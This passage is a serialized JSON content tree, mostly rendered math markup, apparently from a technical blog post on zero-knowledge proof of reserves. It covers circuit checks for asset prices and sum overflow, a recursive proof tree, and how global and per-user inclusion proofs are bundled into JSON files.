:271,"props":102249,"children":102251},{"className":102250},[11732,29273],[102252],{"type":29,"value":25},{"type":24,"tag":271,"props":102254,"children":102256},{"className":102255},[11732,29273],[102257],{"type":29,"value":100096},{"type":24,"tag":271,"props":102259,"children":102261},{"className":102260},[11732,29273],[102262],{"type":29,"value":10954},{"type":24,"tag":271,"props":102264,"children":102266},{"className":102265,"style":99849},[11732,29273],[102267],{"type":29,"value":99852},{"type":24,"tag":271,"props":102269,"children":102271},{"className":102270},[11732,29273],[102272],{"type":29,"value":11462},{"type":24,"tag":271,"props":102274,"children":102276},{"className":102275},[11732,29273],[102277],{"type":29,"value":578},{"type":24,"tag":271,"props":102279,"children":102281},{"className":102280,"style":99837},[11732],[102282],{"type":29,"value":10818},{"type":24,"tag":271,"props":102284,"children":102286},{"className":102285},[11732,29273],[102287],{"type":29,"value":102288},"in",{"type":24,"tag":271,"props":102290,"children":102292},{"className":102291},[11732,29273],[102293],{"type":29,"value":25},{"type":24,"tag":271,"props":102295,"children":102297},{"className":102296},[11732,29273],[102298],{"type":29,"value":100096},{"type":24,"tag":271,"props":102300,"children":102302},{"className":102301},[11732,29273],[102303],{"type":29,"value":29415},{"type":24,"tag":271,"props":102305,"children":102307},{"className":102306},[11732],[102308],{"type":29,"value":41},{"type":24,"tag":271,"props":102310,"children":102312},{"className":102311},[11732,29273],[102313],{"type":29,"value":32},{"type":24,"tag":271,"props":102315,"children":102317},{"className":102316},[11732,29273],[102318],{"type":29,"value":99828},{"type":24,"tag":271,"props":102320,"children":102322},{"className":102321},[11732,29273],[102323],{"type":29,"value":29415},{"type":24,"tag":271,"props":102325,"children":102327},{"className":102326,"style":99837},[11732],[102328],{"type":29,"value":10818},{"type":24,"tag":271,"props":102330,"children":102332},{"className":102331},[11732,29273],[102333],{"type":29,"value":99845},{"type":24,"tag":271,"props":102335,"children":102337},{"className":102336,"style":99849},[11732,29273],[102338],{"type":29,"value":99852},{"type":24,"tag":271,"props":102340,"children":102342},{"className":102341},[11732,29273],[102343],{"type":29,"value":99858},{"type":24,"tag":271,"props":102345,"children":102347},{"className":102346},[11732,29273],[102348],{"type":29,"value":100667},{"type":24,"tag":271,"props":102350,"children":102352},{"className":102351},[29402],[102353],{"type":29,"value":4520},{"type":24,"tag":271,"props":102355,"children":102357},{"className":102356},[11732,29273],[102358],{"type":29,"value":32},{"type":24,"tag":271,"props":102360,"children":102362},{"className":102361},[11732,29273],[102363],{"type":29,"value":99828},{"type":24,"tag":271,"props":102365,"children":102367},{"className":102366},[11732,29273],[102368],{"type":29,"value":29415},{"type":24,"tag":271,"props":102370,"children":102372},{"className":102371,"style":99837},[11732],[102373],{"type":29,"value":10818},{"type":24,"tag":271,"props":102375,"children":102377},{"className":102376},[11732,29273],[102378],{"type":29,"value":6054},{"type":24,"tag":271,"props":102380,"children":102382},{"className":102381},[11732,29273],[102383],{"type":29,"value":100096},{"type":24,"tag":271,"props":102385,"children":102387},{"className":102386},[11732,29273],[102388],{"type":29,"value":689},{"type":24,"tag":271,"props":102390,"children":102392},{"className":102391},[29424],[102393],{"type":29,"value":23108},{"type":29,"value":3360},{"type":24,"tag":213,"props":102396,"children":102397},{},[102398],{"type":29,"value":101227},{"type":24,"tag":101,"props":102400,"children":102401},{},[102402],{"type":24,"tag":135,"props":102403,"children":102405},{"className":102404},[11705,11706],[102406],{"type":24,"tag":271,"props":102407,"children":102409},{"className":102408},[11711],[102410],{"type":24,"tag":271,"props":102411,"children":102413},{"className":102412,"ariaHidden":5670},[11716],[102414,102520],{"type":24,"tag":271,"props":102415,"children":102417},{"className":102416},[11721],[102418,102422,102427,102432,102437,102442,102447,102452,102457,102462,102467,102472,102477,102482,102487,102492,102497,102502,102507,102511,102516],{"type":24,"tag":271,"props":102419,"children":102421},{"className":102420,"style":99779},[11726],[],{"type":24,"tag":271,"props":102423,"children":102425},{"className":102424},[11732,29273],[102426],{"type":29,"value":32},{"type":24,"tag":271,"props":102428,"children":102430},{"className":102429},[11732,29273],[102431],{"type":29,"value":99828},{"type":24,"tag":271,"props":102433,"children":102435},{"className":102434},[11732,29273],[102436],{"type":29,"value":29415},{"type":24,"tag":271,"props":102438,"children":102440},{"className":102439,"style":99837},[11732],[102441],{"type":29,"value":10818},{"type":24,"tag":271,"props":102443,"children":102445},{"className":102444},[11732,29273],[102446],{"type":29,"value":25},{"type":24,"tag":271,"props":102448,"children":102450},{"className":102449,"style":99837},[11732,29273],[102451],{"type":29,"value":100656},{"type":24,"tag":271,"props":102453,"children":102455},{"className":102454},[11732,29273],[102456],{"type":29,"value":11462},{"type":24,"tag":271,"props":102458,"children":102460},{"className":102459},[11732,29273],[102461],{"type":29,"value":99864},{"type":24,"tag":271,"props":102463,"children":102465},{"className":102464},[29402],[102466],{"type":29,"value":4520},{"type":24,"tag":271,"props":102468,"children":102470},{"className":102469},[11732,29273],[102471],{"type":29,"value":32},{"type":24,"tag":271,"props":102473,"children":102475},{"className":102474},[11732,29273],[102476],{"type":29,"value":99828},{"type":24,"tag":271,"props":102478,"children":102480},{"className":102479},[11732,29273],[102481],{"type":29,"value":29415},{"type":24,"tag":271,"props":102483,"children":102485},{"className":102484,"style":99837},[11732],[102486],{"type":29,"value":10818},{"type":24,"tag":271,"props":102488,"children":102490},{"className":102489},[11732,29273],[102491],{"type":29,"value":6054},{"type":24,"tag":271,"props":102493,"children":102495},{"className":102494},[11732,29273],[102496],{"type":29,"value":100096},{"type":24,"tag":271,"props":102498,"children":102500},{"className":102499},[11732,29273],[102501],{"type":29,"value":689},{"type":24,"tag":271,"props":102503,"children":102505},{"className":102504},[29424],[102506],{"type":29,"value":23108},{"type":24,"tag":271,"props":102508,"children":102510},{"className":102509,"style":11908},[11810],[],{"type":24,"tag":271,"props":102512,"children":102514},{"className":102513},[11913],[102515],{"type":29,"value":5059},{"type":24,"tag":271,"props":102517,"children":102519},{"className":102518,"style":11908},[11810],[],{"type":24,"tag":271,"props":102521,"children":102523},{"className":102522},[11721],[102524,102528,102533,102538,102543,102548,102553,102610,102615,102620,102625,102630,102635,102640,102645,102650,102655,102660,102665,102670,102675,102680,102685,102690,102695,102700,102705,102710,102715,102720,102725],{"type":24,"tag":271,"props":102525,"children":102527},{"className":102526,"style":99779},[11726],[],{"type":24,"tag":271,"props":102529,"children":102531},{"className":102530},[11732,29273],[102532],{"type":29,"value":18355},{"type":24,"tag":271,"props":102534,"children":102536},{"className":102535},[11732,29273],[102537],{"type":29,"value":100096},{"type":24,"tag":271,"props":102539,"children":102541},{"className":102540},[11732,29273],[102542],{"type":29,"value":10954},{"type":24,"tag":271,"props":102544,"children":102546},{"className":102545},[11732,29273],[102547],{"type":29,"value":25},{"type":24,"tag":271,"props":102549,"children":102551},{"className":102550},[11732,29273],[102552],{"type":29,"value":102183},{"type":24,"tag":271,"props":102554,"children":102556},{"className":102555},[11732],[102557,102562],{"type":24,"tag":271,"props":102558,"children":102560},{"className":102559,"style":102191},[11732,29273],[102561],{"type":29,"value":791},{"type":24,"tag":271,"props":102563,"children":102565},{"className":102564},[11747],[102566],{"type":24,"tag":271,"props":102567,"children":102569},{"className":102568},[11752,29327],[102570,102599],{"type":24,"tag":271,"props":102571,"children":102573},{"className":102572},[11757],[102574,102594],{"type":24,"tag":271,"props":102575,"children":102577},{"className":102576,"style":100366},[11762],[102578],{"type":24,"tag":271,"props":102579,"children":102580},{"style":102212},[102581,102585],{"type":24,"tag":271,"props":102582,"children":102584},{"className":102583,"style":11772},[11771],[],{"type":24,"tag":271,"props":102586,"children":102588},{"className":102587},[11777,11778,11779,11780],[102589],{"type":24,"tag":271,"props":102590,"children":102592},{"className":102591},[11732,29273,11780],[102593],{"type":29,"value":11462},{"type":24,"tag":271,"props":102595,"children":102597},{"className":102596},[29430],[102598],{"type":29,"value":29433},{"type":24,"tag":271,"props":102600,"children":102602},{"className":102601},[11757],[102603],{"type":24,"tag":271,"props":102604,"children":102606},{"className":102605,"style":99920},[11762],[102607],{"type":24,"tag":271,"props":102608,"children":102609},{},[],{"type":24,"tag":271,"props":102611,"children":102613},{"className":102612},[11732],[102614],{"type":29,"value":41},{"type":24,"tag":271,"props":102616,"children":102618},{"className":102617},[11732,29273],[102619],{"type":29,"value":25},{"type":24,"tag":271,"props":102621,"children":102623},{"className":102622},[11732,29273],[102624],{"type":29,"value":100096},{"type":24,"tag":271,"props":102626,"children":102628},{"className":102627},[11732,29273],[102629],{"type":29,"value":10954},{"type":24,"tag":271,"props":102631,"children":102633},{"className":102632,"style":99849},[11732,29273],[102634],{"type":29,"value":99852},{"type":24,"tag":271,"props":102636,"children":102638},{"className":102637},[11732,29273],[102639],{"type":29,"value":11462},{"type":24,"tag":271,"props":102641,"children":102643},{"className":102642},[11732,29273],[102644],{"type":29,"value":578},{"type":24,"tag":271,"props":102646,"children":102648},{"className":102647,"style":99837},[11732],[102649],{"type":29,"value":10818},{"type":24,"tag":271,"props":102651,"children":102653},{"className":102652},[11732,29273],[102654],{"type":29,"value":102288},{"type":24,"tag":271,"props":102656,"children":102658},{"className":102657},[11732,29273],[102659],{"type":29,"value":25},{"type":24,"tag":271,"props":102661,"children":102663},{"className":102662},[11732,29273],[102664],{"type":29,"value":100096},{"type":24,"tag":271,"props":102666,"children":102668},{"className":102667},[11732,29273],[102669],{"type":29,"value":29415},{"type":24,"tag":271,"props":102671,"children":102673},{"className":102672},[11732],[102674],{"type":29,"value":41},{"type":24,"tag":271,"props":102676,"children":102678},{"className":102677},[11732,29273],[102679],{"type":29,"value":32},{"type":24,"tag":271,"props":102681,"children":102683},{"className":102682},[11732,29273],[102684],{"type":29,"value":99828},{"type":24,"tag":271,"props":102686,"children":102688},{"className":102687},[11732,29273],[102689],{"type":29,"value":29415},{"type":24,"tag":271,"props":102691,"children":102693},{"className":102692,"style":99837},[11732],[102694],{"type":29,"value":10818},{"type":24,"tag":271,"props":102696,"children":102698},{"className":102697},[11732,29273],[102699],{"type":29,"value":25},{"type":24,"tag":271,"props":102701,"children":102703},{"className":102702,"style":99837},[11732,29273],[102704],{"type":29,"value":100656},{"type":24,"tag":271,"props":102706,"children":102708},{"className":102707},[11732,29273],[102709],{"type":29,"value":11462},{"type":24,"tag":271,"props":102711,"children":102713},{"className":102712},[11732,29273],[102714],{"type":29,"value":100667},{"type":24,"tag":271,"props":102716,"children":102718},{"className":102717},[29402],[102719],{"type":29,"value":4520},{"type":24,"tag":271,"props":102721,"children":102723},{"className":102722},[11732],[102724],{"type":29,"value":4121},{"type":24,"tag":271,"props":102726,"children":102728},{"className":102727},[29424],[102729],{"type":29,"value":23108},{"type":24,"tag":101,"props":102731,"children":102732},{},[102733,103091,103092],{"type":24,"tag":135,"props":102734,"children":102736},{"className":102735},[11705,11706],[102737],{"type":24,"tag":271,"props":102738,"children":102740},{"className":102739},[11711],[102741],{"type":24,"tag":271,"props":102742,"children":102744},{"className":102743,"ariaHidden":5670},[11716],[102745,102851],{"type":24,"tag":271,"props":102746,"children":102748},{"className":102747},[11721],[102749,102753,102758,102763,102768,102773,102778,102783,102788,102793,102798,102803,102808,102813,102818,102823,102828,102833,102838,102842,102847],{"type":24,"tag":271,"props":102750,"children":102752},{"className":102751,"style":99779},[11726],[],{"type":24,"tag":271,"props":102754,"children":102756},{"className":102755},[11732,29273],[102757],{"type":29,"value":32},{"type":24,"tag":271,"props":102759,"children":102761},{"className":102760},[11732,29273],[102762],{"type":29,"value":99828},{"type":24,"tag":271,"props":102764,"children":102766},{"className":102765},[11732,29273],[102767],{"type":29,"value":29415},{"type":24,"tag":271,"props":102769,"children":102771},{"className":102770,"style":99837},[11732],[102772],{"type":29,"value":10818},{"type":24,"tag":271,"props":102774,"children":102776},{"className":102775},[11732,29273],[102777],{"type":29,"value":25},{"type":24,"tag":271,"props":102779,"children":102781},{"className":102780,"style":99837},[11732,29273],[102782],{"type":29,"value":100656},{"type":24,"tag":271,"props":102784,"children":102786},{"className":102785},[11732,29273],[102787],{"type":29,"value":11462},{"type":24,"tag":271,"props":102789,"children":102791},{"className":102790},[11732,29273],[102792],{"type":29,"value":99864},{"type":24,"tag":271,"props":102794,"children":102796},{"className":102795},[29402],[102797],{"type":29,"value":4520},{"type":24,"tag":271,"props":102799,"children":102801},{"className":102800},[11732,29273],[102802],{"type":29,"value":32},{"type":24,"tag":271,"props":102804,"children":102806},{"className":102805},[11732,29273],[102807],{"type":29,"value":99828},{"type":24,"tag":271,"props":102809,"children":102811},{"className":102810},[11732,29273],[102812],{"type":29,"value":29415},{"type":24,"tag":271,"props":102814,"children":102816},{"className":102815,"style":99837},[11732],[102817],{"type":29,"value":10818},{"type":24,"tag":271,"props":102819,"children":102821},{"className":102820},[11732,29273],[102822],{"type":29,"value":6054},{"type":24,"tag":271,"props":102824,"children":102826},{"className":102825},[11732,29273],[102827],{"type":29,"value":100096},{"type":24,"tag":271,"props":102829,"children":102831},{"className":102830},[11732,29273],[102832],{"type":29,"value":689},{"type":24,"tag":271,"props":102834,"children":102836},{"className":102835},[29424],[102837],{"type":29,"value":23108},{"type":24,"tag":271,"props":102839,"children":102841},{"className":102840,"style":11908},[11810],[],{"type":24,"tag":271,"props":102843,"children":102845},{"className":102844},[11913],[102846],{"type":29,"value":5059},{"type":24,"tag":271,"props":102848,"children":102850},{"className":102849,"style":11908},[11810],[],{"type":24,"tag":271,"props":102852,"children":102854},{"className":102853},[11721],[102855,102859,102864,102869,102874,102879,102884,102941,102946,102951,102956,102961,102966,102971,102976,102981,102986,102991,102996,103001,103006,103011,103016,103021,103026,103031,103036,103041,103046,103051,103056,103061,103066,103071,103076,103081,103086],{"type":24,"tag":271,"props":102856,"children":102858},{"className":102857,"style":99779},[11726],[],{"type":24,"tag":271,"props":102860,"children":102862},{"className":102861},[11732,29273],[102863],{"type":29,"value":18355},{"type":24,"tag":271,"props":102865,"children":102867},{"className":102866},[11732,29273],[102868],{"type":29,"value":100096},{"type":24,"tag":271,"props":102870,"children":102872},{"className":102871},[11732,29273],[102873],{"type":29,"value":10954},{"type":24,"tag":271,"props":102875,"children":102877},{"className":102876},[11732,29273],[102878],{"type":29,"value":25},{"type":24,"tag":271,"props":102880,"children":102882},{"className":102881},[11732,29273],[102883],{"type":29,"value":102183},{"type":24,"tag":271,"props":102885,"children":102887},{"className":102886},[11732],[102888,102893],{"type":24,"tag":271,"props":102889,"children":102891},{"className":102890,"style":102191},[11732,29273],[102892],{"type":29,"value":791},{"type":24,"tag":271,"props":102894,"children":102896},{"className":102895},[11747],[102897],{"type":24,"tag":271,"props":102898,"children":102900},{"className":102899},[11752,29327],[102901,102930],{"type":24,"tag":271,"props":102902,"children":102904},{"className":102903},[11757],[102905,102925],{"type":24,"tag":271,"props":102906,"children":102908},{"className":102907,"style":100366},[11762],[102909],{"type":24,"tag":271,"props":102910,"children":102911},{"style":102212},[102912,102916],{"type":24,"tag":271,"props":102913,"children":102915},{"className":102914,"style":11772},[11771],[],{"type":24,"tag":271,"props":102917,"children":102919},{"className":102918},[11777,11778,11779,11780],[102920],{"type":24,"tag":271,"props":102921,"children":102923},{"className":102922},[11732,29273,11780],[102924],{"type":29,"value":11462},{"type":24,"tag":271,"props":102926,"children":102928},{"className":102927},[29430],[102929],{"type":29,"value":29433},{"type":24,"tag":271,"props":102931,"children":102933},{"className":102932},[11757],[102934],{"type":24,"tag":271,"props":102935,"children":102937},{"className":102936,"style":99920},[11762],[102938],{"type":24,"tag":271,"props":102939,"children":102940},{},[],{"type":24,"tag":271,"props":102942,"children":102944},{"className":102943},[11732],[102945],{"type":29,"value":41},{"type":24,"tag":271,"props":102947,"children":102949},{"className":102948},[11732,29273],[102950],{"type":29,"value":25},{"type":24,"tag":271,"props":102952,"children":102954},{"className":102953},[11732,29273],[102955],{"type":29,"value":100096},{"type":24,"tag":271,"props":102957,"children":102959},{"className":102958},[11732,29273],[102960],{"type":29,"value":10954},{"type":24,"tag":271,"props":102962,"children":102964},{"className":102963,"style":99849},[11732,29273],[102965],{"type":29,"value":99852},{"type":24,"tag":271,"props":102967,"children":102969},{"className":102968},[11732,29273],[102970],{"type":29,"value":11462},{"type":24,"tag":271,"props":102972,"children":102974},{"className":102973},[11732,29273],[102975],{"type":29,"value":578},{"type":24,"tag":271,"props":102977,"children":102979},{"className":102978,"style":99837},[11732],[102980],{"type":29,"value":10818},{"type":24,"tag":271,"props":102982,"children":102984},{"className":102983},[11732,29273],[102985],{"type":29,"value":102288},{"type":24,"tag":271,"props":102987,"children":102989},{"className":102988},[11732,29273],[102990],{"type":29,"value":25},{"type":24,"tag":271,"props":102992,"children":102994},{"className":102993},[11732,29273],[102995],{"type":29,"value":100096},{"type":24,"tag":271,"props":102997,"children":102999},{"className":102998},[11732,29273],[103000],{"type":29,"value":29415},{"type":24,"tag":271,"props":103002,"children":103004},{"className":103003},[11732],[103005],{"type":29,"value":41},{"type":24,"tag":271,"props":103007,"children":103009},{"className":103008},[11732,29273],[103010],{"type":29,"value":32},{"type":24,"tag":271,"props":103012,"children":103014},{"className":103013},[11732,29273],[103015],{"type":29,"value":99828},{"type":24,"tag":271,"props":103017,"children":103019},{"className":103018},[11732,29273],[103020],{"type":29,"value":29415},{"type":24,"tag":271,"props":103022,"children":103024},{"className":103023,"style":99837},[11732],[103025],{"type":29,"value":10818},{"type":24,"tag":271,"props":103027,"children":103029},{"className":103028},[11732,29273],[103030],{"type":29,"value":25},{"type":24,"tag":271,"props":103032,"children":103034},{"className":103033,"style":99837},[11732,29273],[103035],{"type":29,"value":100656},{"type":24,"tag":271,"props":103037,"children":103039},{"className":103038},[11732,29273],[103040],{"type":29,"value":11462},{"type":24,"tag":271,"props":103042,"children":103044},{"className":103043},[11732,29273],[103045],{"type":29,"value":100667},{"type":24,"tag":271,"props":103047,"children":103049},{"className":103048},[29402],[103050],{"type":29,"value":4520},{"type":24,"tag":271,"props":103052,"children":103054},{"className":103053},[11732,29273],[103055],{"type":29,"value":32},{"type":24,"tag":271,"props":103057,"children":103059},{"className":103058},[11732,29273],[103060],{"type":29,"value":99828},{"type":24,"tag":271,"props":103062,"children":103064},{"className":103063},[11732,29273],[103065],{"type":29,"value":29415},{"type":24,"tag":271,"props":103067,"children":103069},{"className":103068,"style":99837},[11732],[103070],{"type":29,"value":10818},{"type":24,"tag":271,"props":103072,"children":103074},{"className":103073},[11732,29273],[103075],{"type":29,"value":6054},{"type":24,"tag":271,"props":103077,"children":103079},{"className":103078},[11732,29273],[103080],{"type":29,"value":100096},{"type":24,"tag":271,"props":103082,"children":103084},{"className":103083},[11732,29273],[103085],{"type":29,"value":689},{"type":24,"tag":271,"props":103087,"children":103089},{"className":103088},[29424],[103090],{"type":29,"value":23108},{"type":29,"value":3360},{"type":24,"tag":213,"props":103093,"children":103094},{},[103095],{"type":29,"value":103096},"(verifies if all asset prices are the same)",{"type":24,"tag":101,"props":103098,"children":103099},{},[103100,103479,103480],{"type":24,"tag":135,"props":103101,"children":103103},{"className":103102},[11705,11706],[103104],{"type":24,"tag":271,"props":103105,"children":103107},{"className":103106},[11711],[103108],{"type":24,"tag":271,"props":103109,"children":103111},{"className":103110,"ariaHidden":5670},[11716],[103112,103193],{"type":24,"tag":271,"props":103113,"children":103115},{"className":103114},[11721],[103116,103120,103125,103130,103135,103140,103145,103150,103155,103160,103165,103170,103175,103180,103184,103189],{"type":24,"tag":271,"props":103117,"children":103119},{"className":103118,"style":101250},[11726],[],{"type":24,"tag":271,"props":103121,"children":103123},{"className":103122},[11732,29273],[103124],{"type":29,"value":689},{"type":24,"tag":271,"props":103126,"children":103128},{"className":103127,"style":99837},[11732,29273],[103129],{"type":29,"value":101262},{"type":24,"tag":271,"props":103131,"children":103133},{"className":103132,"style":101266},[11732,29273],[103134],{"type":29,"value":95474},{"type":24,"tag":271,"props":103136,"children":103138},{"className":103137,"style":99849},[11732,29273],[103139],{"type":29,"value":99852},{"type":24,"tag":271,"props":103141,"children":103143},{"className":103142},[11732,29273],[103144],{"type":29,"value":1026},{"type":24,"tag":271,"props":103146,"children":103148},{"className":103147,"style":99837},[11732],[103149],{"type":29,"value":10818},{"type":24,"tag":271,"props":103151,"children":103153},{"className":103152},[11732,29273],[103154],{"type":29,"value":29415},{"type":24,"tag":271,"props":103156,"children":103158},{"className":103157},[11732,29273],[103159],{"type":29,"value":101294},{"type":24,"tag":271,"props":103161,"children":103163},{"className":103162,"style":99837},[11732],[103164],{"type":29,"value":10818},{"type":24,"tag":271,"props":103166,"children":103168},{"className":103167},[11732,29273],[103169],{"type":29,"value":101305},{"type":24,"tag":271,"props":103171,"children":103173},{"className":103172},[11732,29273],[103174],{"type":29,"value":18355},{"type":24,"tag":271,"props":103176,"children":103178},{"className":103177},[11732,29273],[103179],{"type":29,"value":91135},{"type":24,"tag":271,"props":103181,"children":103183},{"className":103182,"style":11908},[11810],[],{"type":24,"tag":271,"props":103185,"children":103187},{"className":103186},[11913],[103188],{"type":29,"value":5059},{"type":24,"tag":271,"props":103190,"children":103192},{"className":103191,"style":11908},[11810],[],{"type":24,"tag":271,"props":103194,"children":103196},{"className":103195},[11721],[103197,103201,103206,103211,103216,103221,103226,103231,103236,103241,103246,103303,103308,103312,103317,103322,103379,103384,103388,103393,103398,103402,103407,103412,103474],{"type":24,"tag":271,"props":103198,"children":103200},{"className":103199,"style":11831},[11726],[],{"type":24,"tag":271,"props":103202,"children":103204},{"className":103203,"style":29274},[11732,29273],[103205],{"type":29,"value":29277},{"type":24,"tag":271,"props":103207,"children":103209},{"className":103208},[11732,29273],[103210],{"type":29,"value":99791},{"type":24,"tag":271,"props":103212,"children":103214},{"className":103213},[11732,29273],[103215],{"type":29,"value":11462},{"type":24,"tag":271,"props":103217,"children":103219},{"className":103218},[11732,29273],[103220],{"type":29,"value":77352},{"type":24,"tag":271,"props":103222,"children":103224},{"className":103223},[11732,29273],[103225],{"type":29,"value":99807},{"type":24,"tag":271,"props":103227,"children":103229},{"className":103228},[11732,29273],[103230],{"type":29,"value":6054},{"type":24,"tag":271,"props":103232,"children":103234},{"className":103233},[29402],[103235],{"type":29,"value":606},{"type":24,"tag":271,"props":103237,"children":103239},{"className":103238},[11732,29273],[103240],{"type":29,"value":101305},{"type":24,"tag":271,"props":103242,"children":103244},{"className":103243},[11732,29273],[103245],{"type":29,"value":18355},{"type":24,"tag":271,"props":103247,"children":103249},{"className":103248},[11732],[103250,103255],{"type":24,"tag":271,"props":103251,"children":103253},{"className":103252},[11732,29273],[103254],{"type":29,"value":91135},{"type":24,"tag":271,"props":103256,"children":103258},{"className":103257},[11747],[103259],{"type":24,"tag":271,"props":103260,"children":103262},{"className":103261},[11752,29327],[103263,103292],{"type":24,"tag":271,"props":103264,"children":103266},{"className":103265},[11757],[103267,103287],{"type":24,"tag":271,"props":103268,"children":103270},{"className":103269,"style":99889},[11762],[103271],{"type":24,"tag":271,"props":103272,"children":103273},{"style":99893},[103274,103278],{"type":24,"tag":271,"props":103275,"children":103277},{"className":103276,"style":11772},[11771],[],{"type":24,"tag":271,"props":103279,"children":103281},{"className":103280},[11777,11778,11779,11780],[103282],{"type":24,"tag":271,"props":103283,"children":103285},{"className":103284},[11732,11780],[103286],{"type":29,"value":4121},{"type":24,"tag":271,"props":103288,"children":103290},{"className":103289},[29430],[103291],{"type":29,"value":29433},{"type":24,"tag":271,"props":103293,"children":103295},{"className":103294},[11757],[103296],{"type":24,"tag":271,"props":103297,"children":103299},{"className":103298,"style":99920},[11762],[103300],{"type":24,"tag":271,"props":103301,"children":103302},{},[],{"type":24,"tag":271,"props":103304,"children":103306},{"className":103305},[11842],[103307],{"type":29,"value":11845},{"type":24,"tag":271,"props":103309,"children":103311},{"className":103310,"style":11849},[11810],[],{"type":24,"tag":271,"props":103313,"children":103315},{"className":103314},[11732,29273],[103316],{"type":29,"value":101305},{"type":24,"tag":271,"props":103318,"children":103320},{"className":103319},[11732,29273],[103321],{"type":29,"value":18355},{"type":24,"tag":271,"props":103323,"children":103325},{"className":103324},[11732],[103326,103331],{"type":24,"tag":271,"props":103327,"children":103329},{"className":103328},[11732,29273],[103330],{"type":29,"value":91135},{"type":24,"tag":271,"props":103332,"children":103334},{"className":103333},[11747],[103335],{"type":24,"tag":271,"props":103336,"children":103338},{"className":103337},[11752,29327],[103339,103368],{"type":24,"tag":271,"props":103340,"children":103342},{"className":103341},[11757],[103343,103363],{"type":24,"tag":271,"props":103344,"children":103346},{"className":103345,"style":99889},[11762],[103347],{"type":24,"tag":271,"props":103348,"children":103349},{"style":99893},[103350,103354],{"type":24,"tag":271,"props":103351,"children":103353},{"className":103352,"style":11772},[11771],[],{"type":24,"tag":271,"props":103355,"children":103357},{"className":103356},[11777,11778,11779,11780],[103358],{"type":24,"tag":271,"props":103359,"children":103361},{"className":103360},[11732,11780],[103362],{"type":29,"value":156},{"type":24,"tag":271,"props":103364,"children":103366},{"className":103365},[29430],[103367],{"type":29,"value":29433},{"type":24,"tag":271,"props":103369,"children":103371},{"className":103370},[11757],[103372],{"type":24,"tag":271,"props":103373,"children":103375},{"className":103374,"style":99920},[11762],[103376],{"type":24,"tag":271,"props":103377,"children":103378},{},[],{"type":24,"tag":271,"props":103380,"children":103382},{"className":103381},[11842],[103383],{"type":29,"value":11845},{"type":24,"tag":271,"props":103385,"children":103387},{"className":103386,"style":11849},[11810],[],{"type":24,"tag":271,"props":103389,"children":103391},{"className":103390},[11732],[103392],{"type":29,"value":17298},{"type":24,"tag":271,"props":103394,"children":103396},{"className":103395},[11842],[103397],{"type":29,"value":11845},{"type":24,"tag":271,"props":103399,"children":103401},{"className":103400,"style":11849},[11810],[],{"type":24,"tag":271,"props":103403,"children":103405},{"className":103404},[11732,29273],[103406],{"type":29,"value":101305},{"type":24,"tag":271,"props":103408,"children":103410},{"className":103409},[11732,29273],[103411],{"type":29,"value":18355},{"type":24,"tag":271,"props":103413,"children":103415},{"className":103414},[11732],[103416,103421],{"type":24,"tag":271,"props":103417,"children":103419},{"className":103418},[11732,29273],[103420],{"type":29,"value":91135},{"type":24,"tag":271,"props":103422,"children":103424},{"className":103423},[11747],[103425],{"type":24,"tag":271,"props":103426,"children":103428},{"className":103427},[11752,29327],[103429,103463],{"type":24,"tag":271,"props":103430,"children":103432},{"className":103431},[11757],[103433,103458],{"type":24,"tag":271,"props":103434,"children":103436},{"className":103435,"style":99889},[11762],[103437],{"type":24,"tag":271,"props":103438,"children":103439},{"style":99893},[103440,103444],{"type":24,"tag":271,"props":103441,"children":103443},{"className":103442,"style":11772},[11771],[],{"type":24,"tag":271,"props":103445,"children":103447},{"className":103446},[11777,11778,11779,11780],[103448],{"type":24,"tag":271,"props":103449,"children":103451},{"className":103450},[11732,11780],[103452],{"type":24,"tag":271,"props":103453,"children":103455},{"className":103454},[11732,11780],[103456],{"type":29,"value":103457},"31",{"type":24,"tag":271,"props":103459,"children":103461},{"className":103460},[29430],[103462],{"type":29,"value":29433},{"type":24,"tag":271,"props":103464,"children":103466},{"className":103465},[11757],[103467],{"type":24,"tag":271,"props":103468,"children":103470},{"className":103469,"style":99920},[11762],[103471],{"type":24,"tag":271,"props":103472,"children":103473},{},[],{"type":24,"tag":271,"props":103475,"children":103477},{"className":103476},[29424],[103478],{"type":29,"value":2693},{"type":29,"value":3360},{"type":24,"tag":213,"props":103481,"children":103482},{},[103483],{"type":29,"value":101625},{"type":24,"tag":101,"props":103485,"children":103486},{},[103487,103492,103493],{"type":24,"tag":10648,"props":103488,"children":103489},{},[103490],{"type":29,"value":103491},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":29,"value":3360},{"type":24,"tag":213,"props":103494,"children":103495},{},[103496],{"type":29,"value":101909},{"type":24,"tag":25,"props":103498,"children":103499},{},[103500],{"type":29,"value":103501},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":24,"tag":25,"props":103503,"children":103504},{},[103505],{"type":24,"tag":74,"props":103506,"children":103508},{"alt":76,"src":103507},"/posts/por/recursive-circuit.png",[],{"type":24,"tag":62,"props":103510,"children":103512},{"id":103511},"global-proof-and-inclusion-proofs",[103513],{"type":29,"value":103514},"Global Proof and Inclusion Proofs",{"type":24,"tag":85,"props":103516,"children":103517},{"id":16989},[103518],{"type":29,"value":103519},"Proving",{"type":24,"tag":25,"props":103521,"children":103522},{},[103523,103525,103531,103532,103538,103539,103545],{"type":29,"value":103524},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":24,"tag":135,"props":103526,"children":103528},{"className":103527},[],[103529],{"type":29,"value":103530},"merkle_tree.json",{"type":29,"value":158},{"type":24,"tag":135,"props":103533,"children":103535},{"className":103534},[],[103536],{"type":29,"value":103537},"final_proof.json",{"type":29,"value":14204},{"type":24,"tag":135,"props":103540,"children":103542},{"className":103541},[],[103543],{"type":29,"value":103544},"private_nonces.json",{"type":29,"value":103546}," files.",{"type":24,"tag":25,"props":103548,"children":103549},{},[103550],{"type":29,"value":103551},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":24,"tag":25,"props":103553,"children":103554},{},[103555,103557,103563,103565,103570],{"type":29,"value":103556},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":24,"tag":135,"props":103558,"children":103560},{"className":103559},[],[103561],{"type":29,"value":103562},"inclusion_proof_\u003Cid>.json",{"type":29,"value":103564},"). ",{"type":24,"tag":10648,"props":103566,"children":103567},{},[103568],{"type":29,"value":103569},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof 